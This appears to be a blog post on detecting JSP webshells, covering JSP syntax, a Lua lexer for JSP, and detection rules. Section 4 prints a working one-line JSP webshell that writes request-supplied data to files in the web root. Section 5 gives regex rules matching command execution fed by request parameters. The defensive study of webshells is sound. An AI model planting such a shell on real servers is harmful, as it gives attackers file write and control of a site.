Deformity JSP Webshell、Webshell Hidden Learning

catalogue

1. JSP基础语法
2. JSP Lexer By Lua
3. Open Source Code Analyzers in Java
4. WEBSHELL Samples
5. shell样本特征提取

 

1. JSP基础语法

0x1: 脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的

脚本程序的语法格式:
<% 代码片段 %>

或者可以编写与其等价的XML语句
<jsp:scriptlet>
   代码片段
</jsp:scriptlet>

任何文本、HTML标签、JSP元素必须写在脚本程序的外面

<html>
<head><title>Hello World</title></head>
<body>
Hello World!<br/>
<%
out.println("Your IP address is " + request.getRemoteAddr());
%>
</body>
</html>

0x2: JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。在JSP文件中,您必须先声明这些变量和方法然后才能使用它们
JSP声明的语法格式

<%! declaration; [ declaration; ]+ ... %>

或者也可以编写与其等价的XML语句
<jsp:declaration>
   代码片段
</jsp:declaration>

程序示例

<%! int i = 0; %> 
<%! int a, b, c; %> 
<%! Circle a = new Circle(2.0); %> 

0x3: JSP表达式

1. 一个JSP表达式中包含的脚本语言表达式,先被转化成String,然后插入到表达式出现的地方 
2. 由于表达式的值会被转化成String,所以您可以在一个文本行中使用表达式而不用去管它是否是HTML标签 
3. 表达式元素中可以包含任何符合Java语言规范的表达式,但是不能使用分号来结束表达式 

JSP表达式的语法格式

<%= 表达式 %>

同样也可以编写与之等价的XML语句 
<jsp:expression>
   表达式
</jsp:expression>

程序示例

<html> 
<head><title>A Comment Test</title></head> 
<body>
<p>
   Today's date: <%= (new java.util.Date()).toLocaleString()%>
</p>
</body> 
</html>

0x4: JSP注释

JSP注释主要有两个作用: 为代码作注释、以及将某段代码注释掉

1. HTML注释

<!-- comment [ <%= expression %> ] -->

示例

<!-- This file displays the user login screen --> 
在客户端的HTML源代码中产生和上面一样的数据: 
<!-- This file displays the user login screen -->

<!-- This page was loaded on <%= (new java.util.Date()).toLocaleString() %> -->

2. 隐藏注释

写在JSP程序中,但不是发给客户

<%-- 这里可以填写 JSP 注释 --%>

JSP编译器是不会对<%-- ... --%>之间的语句进行编译的,它不会显示在客户的浏览器中,也不会在源代码中看到在<%-- --%>之间的代码,你可以任意写注释语句,但是不能使用"--%>",如果你非要使用请用"--%\>"

<html> 
<head><title>A Comment Test</title></head> 
<body> 
<h2>A Test of Comments</h2> 
<%-- 该部分注释在网页中不会被显示--%> 
</body> 
</html> 

0x5: JSP指令

JSP指令用来设置与整个JSP页面相关的属性
JSP指令语法格式

<%@ directive attribute="value" %>
这里有三种指令标签  
1. <%@ page ... %>: 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
2. <%@ include ... %>: 包含其他文件
<%@ taglib ... %>: 引入标签库的定义,可以是自定义标签

0x6: JSP行为

JSP行为标签使用XML语法结构来控制servlet引擎。它能够动态插入一个文件,重用JavaBean组件,引导用户去另一个页面,为Java插件产生相关的HTML等等
行为标签只有一种语法格式,它严格遵守XML标准

<jsp:action_name attribute="value" />

0x7: JSP隐含对象

JSP支持九个自动定义的变量,称为隐含对象

1. request: HttpServletRequest类的实例
2. response: HttpServletResponse类的实例
3. out: PrintWriter类的实例,用于把结果输出至网页上
4. session: HttpSession类的实例
5. application: ServletContext类的实例,与应用上下文有关
6. config: ServletConfig类的实例
7. pageContext: PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问
8. page: 类似于Java类中的this关键字
9. Exception: Exception类的对象,代表发生错误的JSP页面中对应的异常对象

0x8: JSP常量

JSP语言定义了以下几个常量

1. Boolean: true and false
2. Integer: 与Java中的一样
3. Floating point: 与Java中的一样
4. String: 以单引号或双引号开始和结束。" 被转义成 \",'被转义成 \', \ 被转义成\\
5. Null: null

Relevant Link:

http://www.runoob.com/jsp/jsp-syntax.html
http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=1448

 

2. JSP Lexer By Lua

0x1: Lexer Basics

The *lexers/* directory contains all lexers, including your new one. Before attempting to write one from scratch though, first determine if your programming language is similar to any of the 80+ languages supported. If so, you may be able to copy and modify that lexer, saving some time and effort.
The filename of your lexer should be the name of your programming language in lower case followed by a *.lua* extension. For example, a new Lua lexer has the name *lua.lua*.
Note: Try to refrain from using one-character language names like "b", "c", or "d". For example, Scintillua uses "b_lang", "cpp", and "dmd", respectively.

0x2: New Lexer Template

myLanguage LPeg lexer.

local l = require('lexer')
local token, word_match = l.token, l.word_match
local P, R, S = lpeg.P, lpeg.R, lpeg.S

local M = {_NAME = '?'}

Whitespace.
local ws = token(l.WHITESPACE, l.space^1)

M._rules = {
    {'whitespace', ws},
}
    
M._tokenstyles = {
    --
}
--
return M

0x3: Tokens

Take a moment to think about your programming language's structure. What kind of key elements does it have? In the template shown earlier, one predefined element all languages have is whitespace.
Your language probably also has elements like comments, strings, and keywords. Lexers refer to these elements as "tokens". Tokens are the fundamental "building blocks"(基础元素) of lexers.
Lexers break down source code into tokens for coloring, which results in the syntax highlighting familiar to you. It is up to you how specific your lexer is when it comes to tokens. Perhaps only distinguishing between keywords and identifiers is necessary, or maybe recognizing constants、built-in functions、methods、libraries is desirable.
The Lua lexer, for example, defines 11 tokens:

1. whitespace
2. comments
3. strings
4. numbers
5. keywords
6. built-in functions
7. constants
8. built-in libraries
9. identifiers: Even though constants, built-in functions, and built-in libraries are subsets of identifiers
10. labels
11. operators. 

In a lexer, tokens consist of a token name and an LPeg pattern that matches a sequence of characters recognized as an instance of that token(在GNU Lex中也是采用正则语法进行词法描述). Create tokens
using the [`lexer.token()`]() function. Let us examine the "whitespace" token defined in the template shown earlier:

local ws = token(l.WHITESPACE, l.space^1)

The `lexer` (`l`) module actually provides a convenient list of common token names and common LPeg patterns for you to use. Token names include

[`lexer.DEFAULT`](), 
[`lexer.WHITESPACE`](), 
[`lexer.COMMENT`](),
[`lexer.STRING`](), 
[`lexer.NUMBER`](), 
[`lexer.KEYWORD`](),
[`lexer.IDENTIFIER`](), 
[`lexer.OPERATOR`](), 
[`lexer.ERROR`](),
[`lexer.PREPROCESSOR`](), 
[`lexer.CONSTANT`](), 
[`lexer.VARIABLE`](),
[`lexer.FUNCTION`](), 
[`lexer.CLASS`](), 
[`lexer.TYPE`](), 
[`lexer.LABEL`](),
[`lexer.REGEX`](),

[`lexer.EMBEDDED`](). Patterns include
    [`lexer.any`](), 
    [`lexer.ascii`](), 
    [`lexer.extend`](),
    [`lexer.alpha`](),
    [`lexer.digit`](), 
    [`lexer.alnum`](), 
    [`lexer.lower`](), 
    [`lexer.upper`](),
    [`lexer.xdigit`](), 
    [`lexer.cntrl`](), 
    [`lexer.graph`](), 
    [`lexer.print`](),
    [`lexer.punct`](), 
    [`lexer.space`](), 
    [`lexer.newline`](),
    [`lexer.nonnewline`](), 
    [`lexer.nonnewline_esc`](), 
    [`lexer.dec_num`](),
    [`lexer.hex_num`](), 
    [`lexer.oct_num`](), 
    [`lexer.integer`](),
    [`lexer.float`](), 
    [`lexer.word`](). 

So, how might you define other tokens like comments, strings, and keywords? Here are some examples

1. Comments

Line-style comments with a prefix character(s) are easy to express with LPeg

local shell_comment = token(l.COMMENT, '#' * l.nonnewline^0)
local c_line_comment = token(l.COMMENT, '//' * l.nonnewline_esc^0)

C-style "block" comments with a start and end delimiter are also easy to express:

local c_comment = token(l.COMMENT, '/*' * (l.any - '*/')^0 * P('*/')^-1)

2. Strings

local dq_str = '"' * (l.any - '"')^0 * P('"')^-1
local sq_str = "'" * (l.any - "'")^0 * P("'")^-1
local simple_string = token(l.STRING, dq_str + sq_str)

3. Keywords

local keyword = token(l.KEYWORD, l.word_match{
    'keyword_1', 'keyword_2', ..., 'keyword_n'
})

local case_insensitive_keyword = token(l.KEYWORD, l.word_match({
    'KEYWORD_1', 'keyword_2', ..., 'KEYword_n'
}, nil, true))

local hyphened_keyword = token(l.KEYWORD, l.word_match({
    'keyword-1', 'keyword-2', ..., 'keyword-n'
}, '-'))

0x4: 定界标签

1. Declaration tag

定义函数、方法、变量

<%! %>
<%! 
     private int example = 0 ; 
     private int test = 5 ; 
%>

<jsp:declaration> </jsp:declaration>
<jsp:declaration> 
    private int example = 0 ; 
    private int test = 5 ; 
</jsp:declaration>

2. Expression tag

<%= 表达式 %>
<%= (new java.util.Date()).toLocaleString() %>

<jsp:expression> </jsp:expression>
<jsp:expression>
    (new java.util.Date()).toLocaleString()
</jsp:expression>

3. Code tag

<% 代码片段 %>
<%
out.println("Your IP address is " + request.getRemoteAddr());
%>

<jsp:scriptlet> 
    out.println("Your IP address is " + request.getRemoteAddr()); 
</jsp:scriptlet>

0x5: lexer/media/lexers/jsp.lua

local l = require('lexer')
local token, word_match = l.token, l.word_match
local P, R, S = lpeg.P, lpeg.R, lpeg.S

local M = {_NAME = 'jsp'}

-- Embedded in HTML.
local html = l.load('html')

-- Embedded Java.
local java = l.load('java')
local java_start_rule = token('jsp_tag', '<%' * P('=')^-1)
local java_end_rule = token('jsp_tag', '%>')
l.embed_lexer(html, java, java_start_rule, java_end_rule, true)

M._tokenstyles = {
  jsp_tag = l.STYLE_EMBEDDED
}

local _foldsymbols = html._foldsymbols
_foldsymbols._patterns[#_foldsymbols._patterns + 1] = '<%%'
_foldsymbols._patterns[#_foldsymbols._patterns + 1] = '%%>'
_foldsymbols.jsp_tag = {['<%'] = 1, ['%>'] = -1}
M._foldsymbols = _foldsymbols

return M

Relevant Link:

https://github.com/luapower/lexer/blob/master/lexer.lua
http://www.exforsys.com/tutorials/jsp/jsp-tags.html
https://github.com/luapower/lexer/blob/master/media/lexers/jsp.lua
https://github.com/luapower/lexer/blob/master/media/lexers/html.lua
https://github.com/luapower/lexer/blob/master/media/lexers/java.lua

 

3. Open Source Code Analyzers in Java

Relevant Link:

http://java-source.net/open-source/code-analyzers
https://pmd.github.io/
http://pmd.sourceforge.net/pmd-4.3.0/rules/basic-jsp.html
http://foicica.com/scintillua/api.html#lexer

 

4. WEBSHELL Samples

0x1: 写文件

<%  
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); 
%>

Relevant Link:

http://www.2cto.com/Article/201503/378649.html
http://www.blogjava.net/lusm/archive/2007/02/21/100295.html
http://dingody.iteye.com/blog/2003882
http://blog.kukafei520.net/html/2010/444.html
http://www.125135.com/491711.html
http://www.125135.com/317079.htm
http://www.125135.com/317770.htm

 

5. shell样本特征提取

相比于PHP、ASP WEBSHELL,java的语法变化集相对较小,故无法构造一句话WEBSHELL,而只能编写"功能齐备的大马",包括

1. 文件管理
2. DB管理
3. 网络连接
4. 进程管理
5. 指令执行
6. 外部参数获取

0x1: 文件管理

1. 文件新建: createNewFile

//common language structure
application.getRealPath("
new File(
2. 文件删除  
delete()

3. 写文件
new FileOutputStream(
new BufferedOutputStream(

4. 读文件
new FileInputStream(
new BufferedInputStream(

5. 列目录
listFiles(

规则

<RuleList>
    <id></id>
    <Name>文件管理WEBSHELL</Name>
    <Rule><Type>1</Type><Dir>2</Dir><Data>.*FileOutputStream\(.*request\.getParameter</Data></Rule> 
</RuleList>

0x2: DB管理

1. 数据库连接字符串
newInstance();
com.mysql.jdbc.Driver
org.gjt.mm.mysql.Driver
com.sybase.jdbc2.jdbc.SybDriver
com.microsoft.jdbc.sqlserver.SQLServerDriver
com.mysql.jdbc.Driver
oracle.jdbc.driver.OracleDriver
com.ibm.db2.jdbc.app.DB2Driver
org.postgresql.Driver

2. 连接数据库
DriverManager.getConnection(
.createStatement(

3. 执行SQL
executeQuery(

0x3: 网络连接(端口扫描)
0x4: 进程管理(指令执行)

0x5: 指令执行

<RuleList>
    <id></id>
    <Name>指令执行WEBSHELL</Name>
    <Rule><Type>2</Type><Dir>2</Dir><Data>Runtime.getRuntime()</Data></Rule> 
    <Rule><Type>1</Type><Dir>2</Dir><Data>.*\.exec\(.*request\.getParameter</Data></Rule> 
</RuleList>
<RuleList>
    <id></id>
    <Name>指令执行WEBSHELL(参数传递)</Name> 
    <Rule><Type>1</Type><Dir>2</Dir><Data>([a-zA-Z_][a-zA-Z0-9_]*)\s*=\s*request.getParameter\(.*\.exec\(("|')cmd.*\1</Data></Rule> 
</RuleList>
<RuleList>
    <id></id>
    <Name>可疑指令执行WEBSHELL</Name> 
    <Rule><Type>2</Type><Dir>2</Dir><Data>Runtime.getRuntime().exec(</Data></Rule> 
</RuleList> 
<RuleList>
    <id></id>
    <Name>可疑指令执行WEBSHELL</Name> 
    <Rule><Type>2</Type><Data>Runtime.getRuntime()</Data></Rule> 
    <Rule><Type>2</Type><Data>.exec(</Data></Rule> 
</RuleList>
<RuleList>
    <id></id>
    <Name>指令执行WEBSHELL(ProcessBuilder参数传递)</Name> 
    <Rule><Type>1</Type><Dir>2</Dir><Data>([a-zA-Z_][a-zA-Z0-9_]*)\s*=\s*request.getParameter\(.*ProcessBuilder\(.*\1</Data></Rule> 
</RuleList>
<RuleList>
    <id></id>
    <Name>执行exec</Name> 
    <Rule><Type>2</Type><Dir>2</Dir><Data>ExeShellResultshellResult=newExeShellResult();</Data></Rule> 
    <Rule><Type>2</Type><Dir>2</Dir><Data>ExeShellCmd.exec(</Data></Rule>
</RuleList>

0x6: 外部参数获取

Relevant Link:

http://blog.csdn.net/lotheve/article/details/49947119
http://developer.51cto.com/art/200907/133027.htm
http://zy.swust.net.cn/02/1/dtwysj/c6.htm#Stop8
http://www.krshadow.com/html/tech/201103/17088.html

 

Copyright (c) 2016 LittleHann All rights reserved

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值